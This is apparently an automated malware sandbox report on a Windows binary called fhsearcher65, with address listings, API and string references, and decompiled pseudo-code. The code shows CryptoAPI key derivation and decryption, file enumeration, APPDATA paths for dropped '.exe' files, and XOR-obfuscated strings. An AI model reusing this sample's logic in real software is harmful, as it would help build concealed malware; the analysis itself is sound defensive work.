0x00406e3c
0x00406e42
0x00406e58
0x00406e58
0x00406e5a
0x00406e5f
0x00000000
0x00406e44
0x00406e44
0x00406e47
0x00406e4f
0x00406e52
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e52
0x00406e42
0x00406dde
0x00406dde
0x00406de4
0x00406de5
0x00406de7
0x00406ded
0x00406e03
0x00406e03
0x00406e05
0x00406e0a
0x00000000
0x00406def
0x00406def
0x00406df2
0x00406dfa
0x00406dfd
0x00000000
0x00000000
0x00000000
0x00000000
0x00406dfd
0x00406ded
0x00406d89
0x00406d89
0x00406d8f
0x00406d90
0x00406d92
0x00406d98
0x00406dae
0x00406dae
0x00406db0
0x00406db5
0x00000000
0x00406d9a
0x00406d9a
0x00406d9d
0x00406da5
0x00406da8
0x00000000
0x00000000
0x00000000
0x00000000
0x00406da8
0x00406d98
0x00406d87
0x00406c5b
0x00406c5b
0x00406c61
0x00406c62
0x00406c64
0x00406c6a
0x00406c80
0x00406c80
0x00406c82
0x00406c87
0x00000000
0x00406c6c
0x00406c6c
0x00406c6f
0x00406c77
0x00406c7a
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c7a
0x00406c6a
0x00406c02
0x00406c02
0x00406c08
0x00406c09
0x00406c0b
0x00406c11
0x00406c27
0x00406c27
0x00406c29
0x00406c2e
0x00000000
0x00406c13
0x00406c13
0x00406c16
0x00406c1e
0x00406c21
0x00408ce5
0x00408ce5
0x00408cea
0x00408cea
0x00408cef
0x00408cef
0x00408cf4
0x00408cf5
0x00408cf6
0x00408cf7
0x00408cf8
0x00408cf9
0x00408cfa
0x00408cfb
0x00408cfc
0x00408cfd
0x00408cfe
0x00408cff
0x00408d00
0x00408d01
0x00408d03
0x00408d05
0x00408d10
0x00408d11
0x00408d17
0x00408d1c
0x00408d1e
0x00408d21
0x00408d22
0x00408d23
0x00408d24
0x00408d28
0x00408d2e
0x00408d35
0x00408d3a
0x00408d40
0x00408d42
0x00408d44
0x00408d50
0x00408d50
0x00408d55
0x00408d58
0x00408d5f
0x00408d66
0x00408d66
0x00408d50
0x00408d78
0x00408d7d
0x00408d99
0x00408d9b
0x00408db7
0x00408db9
0x00408dbd
0x00408dd0
0x00408ddb
0x00408de5
0x00408df0
0x00408dfd
0x00408e08
0x00408e12
0x00408e1d
0x00408e27
0x00408e36
0x00408e3d
0x00408e42
0x00408e4b
0x00408e56
0x00408e61
0x00408e6c
0x00408e77
0x00408e82
0x00408e8d
0x00408e91
0x00408e96
0x00408ea5
0x00408eaa
0x00408eac
0x00000000
0x00000000
0x00408ebd
0x00408ec2
0x00408eca
0x00408ecf
0x00408ed1
0x00408ed3
0x00408edb
0x00408ee0
0x00408ee2
0x00408ee7
0x00000000
0x00408ee7
0x00408ee2
0x00408ef8
0x00408f00
0x00408f05
0x00408f08
0x00408f17
0x00408f1c
0x00408f20
0x00408f33
0x00408f39
0x00408f3e
0x00408f48
0x00408f4d
0x00408f52
0x00408f62
0x00408f6d
0x00408f6f
0x00408f7a
0x00408f7e
0x00408f83
0x00408f85
0x00000000
0x00000000
0x00408f96
0x00408f9e
0x00408fa3
0x00408fa6
0x00000000
0x00000000
0x00408fa8
0x00408fab
0x00000000
0x00000000
0x00408fb9
0x00408fc2
0x00408fc2
0x00408fc9
0x00408fce
0x00408fd2
0x00408fd3
0x00408fec
0x00408ff2
0x00408ff7
0x00409001
0x00409006
0x0040900b
0x0040901b
0x00409028
0x00409033
0x00409037
0x0040903c
0x0040903e
0x00000000
0x00409044
0x0040904f
0x00409051
0x00409054
0x00000000
0x0040905a
0x00409068
0x00409069
0x00409071
0x00409074
0x0040907e
0x00409097
0x00409098
0x0040909d
0x004090a0
0x004090ac
0x004090b9
0x004090bc
0x004090ca
0x004090d4
0x004090d9
0x004090dc
0x004090e2
0x004090e9
0x004090ff
0x00409105
0x00409107
0x0040910e
0x0040910e
0x00409110
0x0040912c
0x0040912e
0x00409131
0x00409137
0x0040913c
0x0040913e
0x00409140
0x00409145
0x00409145
0x00409148
0x0040914b
0x0040914d
0x00409153
0x00409153
0x00409156
0x00409159
0x00409164
0x00409167
0x00000000
0x00000000
0x00000000
0x00000000
0x0040915b
0x0040915b
0x0040915e
0x00409160
0x00409160
0x00409169
0x00409169
0x0040916b
0x00000000
0x0040916d
0x0040916d
0x00409170
0x00409194
0x00000000
0x00000000
0x00000000
0x00409170
0x0040916b
0x00000000
0x00409172
0x00409172
0x0040917d
0x00409180
0x00409181
0x00409187
0x00409189
0x00409189
0x00000000
0x00000000
0x00000000
0x004090e9
0x00409054
0x00409196
0x00409196
0x0040919b
0x0040919c
0x0040919d
0x0040919e
0x0040919f
0x004091a0
0x004091a1
0x004091a6
0x004091ad
0x004091b6
0x004091bd
0x004091c1
0x004091c8
0x004091ca
0x004091cf
0x004091d6
0x004091dd
0x004091e3
0x004091e9
0x004091f0
0x004091f8
0x004091ff
0x0040920a
0x00409214
0x0040921e
0x00409223
0x004091ff
0x0040922e
0x00409238
0x00000000
0x004090eb
0x004090eb
0x004090f1
0x004090f1
0x00000000
0x00408fad
0x00408fb2
0x00408fb2
0x00408eec
0x00408ef1
0x00408ef1
0x00000000
0x00000000
0x00000000
0x00406c21
0x00406c11
0x00406c00
0x00000000
0x00000000
0x00000000
0x00406a30
0x00406a20
0x00406a12
0x00000000

APIs

CreateDirectoryA.KERNEL32(0040813E,00000000,D71F2CEC,?), ref: 0040684F
GetLastError.KERNEL32 ref: 00406859
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,D71F2CEC,00000000,00000000), ref: 00406B37
__Init_thread_footer.LIBCMT ref: 00406F6C
Sleep.KERNEL32(?,D71F2CEC), ref: 00408D5F

Part of subcall function 00402980: Concurrency::cancel_current_task.LIBCPMT ref: 00402AD3

__Init_thread_footer.LIBCMT ref: 0040746E
__Init_thread_footer.LIBCMT ref: 00407928

Strings

KC^., xrefs: 004078D7
OCjO, xrefs: 004073F1
\AI\, xrefs: 004073E7
APPDATA, xrefs: 00406B63
.exe, xrefs: 004068BF, 00406D2E, 0040724C, 0040773C, 00407C1C

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$Concurrency::cancel_current_taskCreateDirectoryErrorFolderLastPathSleep
String ID: .exe$APPDATA$KC^.$OCjO$\AI\
API String ID: 1816155683-1469489693
Opcode ID: 5e46f16c1f2af10692a5b2f9b612c7b90504d575862578aa23a217dc0dbd6609
Instruction ID: 8127377507083700a0437b031590974689f25d92a32f1075ed433c2e61d9b242
Opcode Fuzzy Hash: 5e46f16c1f2af10692a5b2f9b612c7b90504d575862578aa23a217dc0dbd6609
Instruction Fuzzy Hash: 26E22671A002548BEB29DB28CD447DDBB71AF46308F1082FDD449BB2D2DB799AC4CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00403770 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 232
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00403770(void* __ebx, int __ecx, int __edx, void* __edi, intOrPtr* _a4, void* _a8, intOrPtr _a24, intOrPtr _a28) {
				long* _v8;
				char _v16;
				signed int _v24;
				void _v136;
				long* _v140;
				int _v144;
				char _v148;
				long* _v152;
				int _v156;
				signed int _v160;
				int _v164;
				BYTE* _v168;
				int _v172;
				intOrPtr* _v176;
				int _v180;
				intOrPtr _v220;
				void* __esi;
				void* __ebp;
				signed int _t69;
				signed int _t70;
				void* _t77;
				intOrPtr* _t82;
				char* _t92;
				void* _t94;
				intOrPtr _t95;
				void* _t99;
				int _t100;
				void* _t101;
				BYTE* _t103;
				intOrPtr _t106;
				int _t117;
				void* _t118;
				intOrPtr* _t126;
				void* _t127;
				int _t132;
				intOrPtr _t135;
				int _t138;
				intOrPtr _t140;
				signed int _t145;
				void* _t146;
				intOrPtr* _t147;
				signed int _t149;
				void* _t150;
				void* _t151;
				void* _t152;
				intOrPtr* _t153;
				signed int _t155;
				void* _t157;
				void* _t159;

				_t69 =  *0x43d054; // 0xd71f2cec
				_t70 = _t69 ^ _t155;
				_v24 = _t70;
				 *[fs:0x0] =  &_v16;
				_t117 = __edx;
				_v172 = __edx;
				_v156 = __ecx;
				_v176 = _a4;
				_v8 = 0;
				_t151 = L"Microsoft Enhanced RSA and AES Cryptographic Provider";
				_v160 = _a24 + _a24;
				_t77 = memcpy( &_v136, _t151, 0x1b << 2);
				_t159 = _t157 - 0xa8 + 0xc;
				__imp__CryptAcquireContextW(_t77, 0,  &_v136, 0x18, 0xf0000000, _t70, __edi, _t150, __ebx,  *[fs:0x0], 0x42c6fd, 0xffffffff); // executed
				if(_t77 == 0) {
					L7:
					_t145 = GetLastError();
					CryptReleaseContext(_v140, 0);
				} else {
					_t92 =  &_v148;
					__imp__CryptCreateHash(_v140, 0x800c, 0, 0, _t92); // executed
					if(_t92 == 0) {
						goto L7;
					} else {
						_t94 =  >=  ? _a8 :  &_a8;
						_t147 = _t94;
						_v164 = _t94;
						_t127 = _t147 + 1;
						do {
							_t95 =  *_t147;
							_t147 = _t147 + 1;
							_t168 = _t95;
						} while (_t95 != 0);
						_t149 = _t147 - _t127 + 1;
						_t151 = E0040F1BE(_t149, _t151, _t168,  ~(0 | _t168 > 0x00000000) | _t149 * 0x00000002);
						_t99 = E0041692C(_t151, _v164, _t149);
						_t159 = _t159 + 0x10;
						__imp__CryptHashData(_v148, _t151, _v160, 0);
						if(_t99 != 0) {
							_t100 =  &_v152;
							__imp__CryptDeriveKey(_v140, 0x660e, _v148, 0, _t100); // executed
							__eflags = _t100;
							if(__eflags != 0) {
								_push(_t117); // executed
								_t101 = E0041669E(); // executed
								_t151 = _t101;
								E00410870(_t151, _v156, _t117);
								_t103 = E0040F1BE(_t149, _t151, __eflags, 0xa0);
								_t138 = _v172;
								_t145 = 0;
								_t159 = _t159 + 0x14;
								_v168 = _t103;
								_v144 = 0;
								_v156 = 0;
								_v160 = 0;
								__eflags = _t138;
								if(__eflags != 0) {
									_t132 = _t138;
									_t106 = 0xa0 - _t151;
									__eflags = 0xa0;
									_v164 = _t132;
									_v180 = 0xa0;
									while(1) {
										_t117 = 0xa0;
										__eflags = _t106 + _t151 - _t138;
										if(_t106 + _t151 >= _t138) {
											_t117 = _t132;
											_v156 = 1;
										}
										_v144 = _t117;
										E00410870(_v168, _t151, _t117);
										_t159 = _t159 + 0xc;
										__eflags = CryptDecrypt(_v152, 0, _v156, 0, _v168,  &_v144);
										if(__eflags == 0) {
											goto L15;
										}
										E00410870( *_v176 + _t145, _v168, _v144);
										_t145 = _t145 + _v144;
										_t159 = _t159 + 0xc;
										__eflags = _t117 - 0xa0;
										if(__eflags == 0) {
											_t151 = _t151 + _t117;
											_t140 = _v160 + 1;
											_t106 = _v180;
											_t132 = _v164 - _t117;
											__eflags = _t140 - _v172;
											_v160 = _t140;
											_t138 = _v172;
											_v164 = _t132;
											if(__eflags < 0) {
												continue;
											}
										}
										goto L15;
									}
								}
								L15:
								CryptDestroyKey(_v152);
							} else {
								goto L7;
							}
						} else {
							GetLastError();
							_t145 = _t149 | 0xffffffff;
						}
					}
				}
				_t135 = _a28;
				if(_t135 < 0x10) {
					L20:
					 *[fs:0x0] = _v16;
					_pop(_t146);
					_pop(_t152);
					_pop(_t118);
					return E0040EF6F(_t145, _t118, _v24 ^ _t155, _t135, _t146, _t152);
				} else {
					_t126 = _a8;
					_t135 = _t135 + 1;
					_t82 = _t126;
					if(_t135 < 0x1000) {
						L19:
						_push(_t135);
						E0040F1B0(_t126);
						goto L20;
					} else {
						_t126 =  *((intOrPtr*)(_t126 - 4));
						_t135 = _t135 + 0x23;
						if(_t82 - _t126 + 0xfffffffc > 0x1f) {
							E004138D7(_t117, _t135, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t155);
							_push(_t151);
							_t153 = _t126;
							asm("xorps xmm0, xmm0");
							 *_t153 = 0x42e2d4;
							asm("movq [eax], xmm0");
							__eflags = _v220 + 4;
							E00410321(_v220 + 4, _t153 + 4);
							 *_t153 = 0x42e320;
							return _t153;
						} else {
							goto L19;
						}
					}
				}
			}

0x00403787
0x0040378c
0x0040378e
0x00403798
0x0040379e
0x004037a0
0x004037a6
0x004037af
0x004037b5
0x004037cc
0x004037d6
0x004037ed
0x004037ed
0x004037f0
0x004037f8
0x004038ba
0x004038c8
0x004038ca
0x004037fe
0x004037fe
0x00403814
0x0040381c
0x00000000
0x00403822
0x00403829
0x0040382d
0x0040382f
0x00403835
0x00403838
0x00403838
0x0040383a
0x0040383b
0x0040383b
0x00403846
0x0040385d
0x00403867
0x0040386c
0x0040387e
0x00403886
0x00403896
0x004038b0
0x004038b6
0x004038b8
0x004038d5
0x004038d6
0x004038de
0x004038e8
0x004038f5
0x004038fa
0x00403900
0x00403902
0x00403905
0x0040390b
0x00403915
0x0040391f
0x00403925
0x00403927
0x00403932
0x00403934
0x00403934
0x00403936
0x0040393c
0x00403942
0x00403944
0x00403949
0x0040394b
0x0040394d
0x0040394f
0x0040394f
0x00403961
0x00403967
0x0040396c
0x00403992
0x00403994
0x00000000
0x00000000
0x004039ad
0x004039b2
0x004039b8
0x004039bb
0x004039c1
0x004039c9
0x004039d1
0x004039d2
0x004039d8
0x004039da
0x004039e0
0x004039e6
0x004039ec
0x004039f2
0x00000000
0x00000000
0x004039f2
0x00000000
0x004039c1
0x00403942
0x004039f8
0x004039fe
0x00000000
0x00000000
0x00000000
0x00403888
0x00403888
0x0040388e
0x0040388e
0x00403886
0x0040381c
0x00403a04
0x00403a0a
0x00403a34
0x00403a39
0x00403a41
0x00403a42
0x00403a43
0x00403a51
0x00403a0c
0x00403a0c
0x00403a0f
0x00403a10
0x00403a18
0x00403a2a
0x00403a2a
0x00403a2c
0x00000000
0x00403a1a
0x00403a1a
0x00403a1d
0x00403a28
0x00403a52
0x00403a57
0x00403a58
0x00403a59
0x00403a5a
0x00403a5b
0x00403a5c
0x00403a5d
0x00403a5e
0x00403a5f
0x00403a60
0x00403a63
0x00403a64
0x00403a66
0x00403a6d
0x00403a73
0x00403a7a
0x00403a7e
0x00403a86
0x00403a90
0x00000000
0x00000000
0x00000000
0x00403a28
0x00403a18

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,D71F2CEC), ref: 004037F0
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403814
_mbstowcs.LIBCMT ref: 00403867
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 0040387E
GetLastError.KERNEL32 ref: 00403888
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 004038B0
GetLastError.KERNEL32 ref: 004038BA
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004038CA
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 0040398C
CryptDestroyKey.ADVAPI32(?), ref: 004039FE
___std_exception_copy.LIBVCRUNTIME ref: 00403A7E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 004037CC, 00403A63

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease___std_exception_copy_mbstowcs
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 4265767208-63410773
Opcode ID: 8f7bfddefe182f57364dcc26cb26f20e3bd296e444775d4973d2067945d52aad
Instruction ID: 1b2931ececa69a802865f4784dcd306fc8618a4b919b5196406a96c1a29c190f
Opcode Fuzzy Hash: 8f7bfddefe182f57364dcc26cb26f20e3bd296e444775d4973d2067945d52aad
Instruction Fuzzy Hash: F3819E71B00228AFEB209F25CC41B9ABBB9FF45300F4081BAF54DE6281DB759E858F55

Uniqueness

Uniqueness Score: -1.00%

Function 00404490 Relevance: 19.9, APIs: 7, Strings: 4, Instructions: 644
fileCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00404490(void* __ebx, void* __ecx, void* __edx) {
				intOrPtr _v8;
				int _v16;
				int _v24;
				int _v28;
				signed int _v32;
				int _v36;
				int _v40;
				signed int _v44;
				signed int _v48;
				int _v52;
				signed int _v56;
				char _v60;
				char _v64;
				long _v68;
				int _v72;
				signed int _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				long _v88;
				char _v89;
				char _v90;
				char _v92;
				char _v96;
				long _v100;
				int _v104;
				char _v105;
				signed int _v112;
				intOrPtr _v116;
				int _v120;
				long _v124;
				int _v128;
				int _v144;
				char _v308;
				char _v312;
				char _v316;
				struct _WIN32_FIND_DATAA _v412;
				char _v416;
				intOrPtr _v440;
				char _v456;
				signed int _v464;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				int _v560;
				char _v564;
				int _v568;
				char _v576;
				signed int _v584;
				intOrPtr _v1592;
				int _v1600;
				int _v1604;
				long _v1608;
				int _v1612;
				int _v1628;
				struct HKL__* _v2116;
				signed int _v2120;
				int _v2124;
				int _v2160;
				intOrPtr _v2180;
				char _v2188;
				signed int _v2192;
				intOrPtr _v2204;
				intOrPtr _v2208;
				signed int _v2212;
				intOrPtr _v2248;
				intOrPtr _v2252;
				signed int _v2304;
				char _v2554;
				short _v2556;
				int* _v2572;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t300;
				signed int _t301;
				void* _t309;
				int _t310;
				intOrPtr _t313;
				signed int _t320;
				signed int _t321;
				intOrPtr _t324;
				signed int _t325;
				intOrPtr* _t329;
				signed int _t330;
				intOrPtr _t335;
				signed char _t336;
				signed int _t337;
				signed int _t339;
				intOrPtr _t340;
				signed char _t341;
				signed int _t342;
				signed int _t344;
				intOrPtr _t345;
				signed int _t346;
				signed int _t348;
				int _t351;
				signed int _t357;
				signed int _t358;
				signed int _t361;
				int _t364;
				intOrPtr* _t366;
				int _t370;
				int _t372;
				signed int _t378;
				signed int _t379;
				intOrPtr _t381;
				intOrPtr _t390;
				signed int _t396;
				short _t398;
				signed int _t403;
				signed int _t409;
				signed char _t415;
				signed char* _t416;
				void* _t421;
				long _t422;
				intOrPtr _t423;
				int _t424;
				intOrPtr _t428;
				intOrPtr _t429;
				int _t430;
				int _t434;
				void* _t438;
				signed int _t439;
				void* _t445;
				signed int _t455;
				int _t462;
				signed int _t467;
				void* _t478;
				intOrPtr _t482;
				void* _t489;
				signed int _t490;
				void* _t491;
				void* _t495;
				char* _t499;
				int* _t503;
				int _t506;
				long _t508;
				void* _t514;
				void* _t516;
				void* _t518;
				int* _t520;
				signed int _t522;
				int _t523;
				void* _t524;
				signed int _t528;
				signed int _t531;
				intOrPtr* _t537;
				intOrPtr* _t540;
				signed char* _t544;
				intOrPtr* _t548;
				intOrPtr* _t552;
				int _t560;
				signed int _t566;
				int _t568;
				int _t571;
				signed int* _t572;
				signed int _t582;
				intOrPtr* _t583;
				signed int _t589;
				int _t593;
				signed int _t597;
				intOrPtr _t598;
				void* _t602;
				void* _t603;
				char _t604;
				long _t608;
				int _t611;
				void* _t613;
				long _t615;
				long _t616;
				int* _t617;
				int* _t618;
				int* _t619;
				long _t620;
				void* _t621;
				void* _t625;
				signed char* _t626;
				void* _t627;
				void* _t630;
				void* _t631;
				void* _t632;
				int _t633;
				void* _t634;
				int _t635;
				void* _t636;
				signed int _t637;
				void* _t638;
				signed int _t639;
				void* _t640;
				int* _t641;
				void* _t642;
				void* _t643;
				void* _t644;
				void* _t645;
				int _t646;
				signed char* _t647;
				void* _t648;
				void* _t649;
				void* _t650;
				int _t651;
				void* _t652;
				void* _t653;
				signed int _t654;
				void* _t656;
				void* _t657;
				int _t658;
				void* _t661;
				signed int _t664;
				signed int _t667;
				signed int _t670;
				signed int _t672;
				signed int _t674;
				void* _t676;
				signed int _t679;
				void* _t680;
				signed int _t686;
				void* _t687;
				int* _t688;
				int* _t689;
				int* _t690;
				int* _t691;
				int* _t692;
				int* _t693;
				signed int _t699;
				signed int _t700;
				void* _t703;
				signed int _t705;

				_push(__ebx);
				_t516 = _t676;
				_t679 = (_t676 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t516 + 4));
				_t664 = _t679;
				_push(0xffffffff);
				_push(0x42c878);
				_push( *[fs:0x0]);
				_push(_t516);
				_t680 = _t679 - 0x188;
				_t300 =  *0x43d054; // 0xd71f2cec
				_t301 = _t300 ^ _t664;
				_v32 = _t301;
				_push(_t643);
				_push(_t632);
				_push(_t301);
				 *[fs:0x0] =  &_v24;
				_v16 = 0;
				asm("xorps xmm0, xmm0");
				asm("movq [ebp-0x20], xmm0");
				_v36 = 0;
				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v16 = 1;
				E0040BF40(_t516,  &_v92, __edx, _t632, __ecx);
				_v16 = 2;
				_t610 = _v72;
				_t528 = _v76;
				if(_v72 - _t528 < 2) {
					_v416 = 0;
					E00402980(_t516,  &_v92, _t632, _t643, 2, _v416, "\\*", 2);
				} else {
					_v76 = _t528 + 2;
					_t610 = 0x2a5c;
					_t514 =  >=  ? _v92 :  &_v92;
					 *((short*)(_t514 + _t528)) = 0x2a5c;
					 *((char*)(_t514 + _t528 + 2)) = 0;
				}
				_t308 =  >=  ? _v92 :  &_v92;
				_t309 = FindFirstFileA( >=  ? _v92 :  &_v92,  &_v412); // executed
				_t644 = _t309;
				if(_t644 == 0xffffffff) {
					L16:
					_t310 = _v40;
					_t633 = _v44;
					_v416 = _t310;
					if(_t633 == _t310) {
						L24:
						_t633 = 0;
						goto L25;
					} else {
						while(1) {
							E0040BF40(_t516,  &_v68, _t610, _t633, _t633);
							_t488 =  >=  ?  *((void*)(_t516 + 8)) : _t516 + 8;
							_t644 = _v68;
							_t612 = _v52;
							_t601 =  >=  ? _t644 :  &_v68;
							_t489 = E00402890( >=  ? _t644 :  &_v68, _v52,  >=  ? _t644 :  &_v68,  >=  ?  *((void*)(_t516 + 8)) : _t516 + 8,  *((intOrPtr*)(_t516 + 0x18)));
							_t680 = _t680 + 0xc;
							_t490 = _v48;
							if(_t489 != 0xffffffff) {
								break;
							}
							if(_t490 < 0x10) {
								L23:
								_t633 = _t633 + 0x18;
								if(_t633 != _v416) {
									continue;
								} else {
									goto L24;
								}
							} else {
								_t63 = _t490 + 1; // 0x11
								_t603 = _t63;
								_t495 = _t644;
								if(_t603 < 0x1000) {
									L22:
									_push(_t603);
									E0040F1B0(_t644);
									_t680 = _t680 + 8;
									goto L23;
								} else {
									_t644 =  *(_t644 - 4);
									_t536 = _t603 + 0x23;
									if(_t495 - _t644 + 0xfffffffc > 0x1f) {
										goto L45;
									} else {
										goto L22;
									}
								}
							}
							goto L158;
						}
						__eflags = _t490 - 0x10;
						if(__eflags < 0) {
							L41:
							_t633 = 1;
							L25:
							_t611 = _v72;
							if(_t611 < 0x10) {
								L29:
								_t531 = _v44;
								_v76 = 0;
								_v72 = 0xf;
								_v92 = 0;
								if(_t531 == 0) {
									L33:
									_t612 =  *(_t516 + 0x1c);
									if(_t612 < 0x10) {
										L43:
										 *[fs:0x0] = _v24;
										_pop(_t634);
										_pop(_t645);
										return E0040EF6F(_t633, _t516, _v32 ^ _t664, _t612, _t634, _t645);
									} else {
										_t536 =  *((intOrPtr*)(_t516 + 8));
										_t612 = _t612 + 1;
										_t313 = _t536;
										if(_t612 < 0x1000) {
											L42:
											_push(_t612);
											E0040F1B0(_t536);
											goto L43;
										} else {
											_t536 =  *((intOrPtr*)(_t536 - 4));
											_t612 = _t612 + 0x23;
											if(_t313 - _t536 + 0xfffffffc > 0x1f) {
												goto L44;
											} else {
												goto L42;
											}
										}
									}
								} else {
									_push(_t531);
									E0040D7A0(_t531, _v40, _t633, _t644);
									_t644 = _v44;
									_t680 = _t680 + 4;
									_t612 = 0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2;
									_t478 = _t644;
									_t597 = (0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2) + ((0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2)) * 2 << 3;
									if(_t597 < 0x1000) {
										L32:
										_push(_t597);
										E0040F1B0(_t644);
										_t680 = _t680 + 8;
										_v44 = 0;
										_v40 = 0;
										_v36 = 0;
										goto L33;
									} else {
										_t644 =  *(_t644 - 4);
										_t536 = _t597 + 0x23;
										if(_t478 - _t644 + 0xfffffffc > 0x1f) {
											goto L44;
										} else {
											goto L32;
										}
									}
								}
							} else {
								_t598 = _v92;
								_t630 = _t611 + 1;
								_t482 = _t598;
								if(_t630 < 0x1000) {
									L28:
									_push(_t630);
									E0040F1B0(_t598);
									_t680 = _t680 + 8;
									goto L29;
								} else {
									_t536 =  *((intOrPtr*)(_t598 - 4));
									_t612 = _t630 + 0x23;
									if(_t482 -  *((intOrPtr*)(_t598 - 4)) + 0xfffffffc > 0x1f) {
										goto L44;
									} else {
										goto L28;
									}
								}
							}
						} else {
							_t89 = _t490 + 1; // 0x11
							_t602 = _t89;
							_t491 = _t644;
							__eflags = _t602 - 0x1000;
							if(__eflags < 0) {
								L40:
								_push(_t602);
								E0040F1B0(_t644);
								_t680 = _t680 + 8;
								goto L41;
							} else {
								_t644 =  *(_t644 - 4);
								_t536 = _t602 + 0x23;
								__eflags = _t491 - _t644 + 0xfffffffc - 0x1f;
								if(__eflags > 0) {
									goto L45;
								} else {
									goto L40;
								}
							}
						}
					}
				} else {
					_t633 = FindNextFileA;
					goto L5;
					do {
						L6:
						_t604 =  *_t499;
						_t499 = _t499 + 1;
					} while (_t604 != 0);
					E004026B0(_t516,  &_v68,  &(_v412.cFileName), _t499 - _t631);
					_v16 = 3;
					_t503 = _v40;
					if(_t503 == _v36) {
						_push( &_v68);
						_push(_t503);
						E0040D200(_t516,  &_v44, _t633, _t644);
						_t610 = _v48;
					} else {
						asm("movups xmm0, [ebp-0x38]");
						 *_t503 = 0;
						_t610 = 0xf;
						_v68 = 0;
						asm("movups [eax], xmm0");
						asm("movq xmm0, [ebp-0x28]");
						asm("movq [eax+0x10], xmm0");
						_v40 = _v40 + 0x18;
					}
					_v16 = 2;
					if(_t610 < 0x10) {
						L14:
						_t506 = FindNextFileA(_t644,  &_v412); // executed
						if(_t506 != 0) {
							L5:
							_t499 =  &(_v412.cFileName);
							_v68 = 0;
							_v52 = 0;
							_t631 = _t499 + 1;
							_v48 = 0xf;
							_v68 = 0;
							goto L6;
						} else {
							FindClose(_t644); // executed
							goto L16;
						}
					} else {
						_t608 = _v68;
						_t610 = _t610 + 1;
						_t508 = _t608;
						if(_t610 < 0x1000) {
							L13:
							_push(_t610);
							E0040F1B0(_t608);
							_t680 = _t680 + 8;
							goto L14;
						} else {
							_t536 =  *((intOrPtr*)(_t608 - 4));
							_t612 = _t610 + 0x23;
							if(_t508 -  *((intOrPtr*)(_t608 - 4)) + 0xfffffffc > 0x1f) {
								L44:
								E004138D7(_t516, _t612, __eflags);
								L45:
								E004138D7(_t516, _t612, __eflags);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t516);
								_t518 = _t680;
								_t686 = (_t680 - 0x00000008 & 0xfffffff8) + 4;
								_push(_t664);
								_v440 =  *((intOrPtr*)(_t518 + 4));
								_t667 = _t686;
								_push(0xffffffff);
								_push(0x42c8c5);
								_push( *[fs:0x0]);
								_push(_t518);
								_t687 = _t686 - 0x50;
								_t320 =  *0x43d054; // 0xd71f2cec
								_t321 = _t320 ^ _t667;
								_v464 = _t321;
								_push(_t644);
								_push(_t633);
								_push(_t321);
								 *[fs:0x0] =  &_v456;
								_v480 = 0x7c6b7d7b;
								_v476 = 0x68617c7e;
								_v472 = 0x2e6b6267;
								_t635 =  *( *[fs:0x2c]);
								_t324 =  *0x450f28; // 0x8000000b
								__eflags = _t324 -  *((intOrPtr*)(_t635 + 4));
								if(_t324 >  *((intOrPtr*)(_t635 + 4))) {
									E0040F2F9(_t324, 0x450f28);
									_t687 = _t687 + 4;
									__eflags =  *0x450f28 - 0xffffffff;
									if(__eflags == 0) {
										asm("movq xmm0, [ebp-0x24]");
										asm("movq [0x450ec4], xmm0");
										 *0x450ecc = _v52;
										E0040F60B(_t536, __eflags, 0x42d2e0);
										E0040F2AF(0x450f28);
										_t687 = _t687 + 8;
									}
								}
								__eflags =  *0x450ecf;
								if( *0x450ecf != 0) {
									_t467 = 0;
									__eflags = 0;
									do {
										 *(_t467 + 0x450ec4) =  *(_t467 + 0x450ec4) ^ 0x0000002e;
										_t467 = _t467 + 1;
										__eflags = _t467 - 0xc;
									} while (_t467 < 0xc);
								}
								_t537 = 0x450ec4;
								_v120 = 0;
								_v104 = 0;
								_v100 = 0xf;
								_v120 = 0;
								_t108 = _t537 + 1; // 0x450ec5
								_t613 = _t108;
								do {
									_t325 =  *_t537;
									_t537 = _t537 + 1;
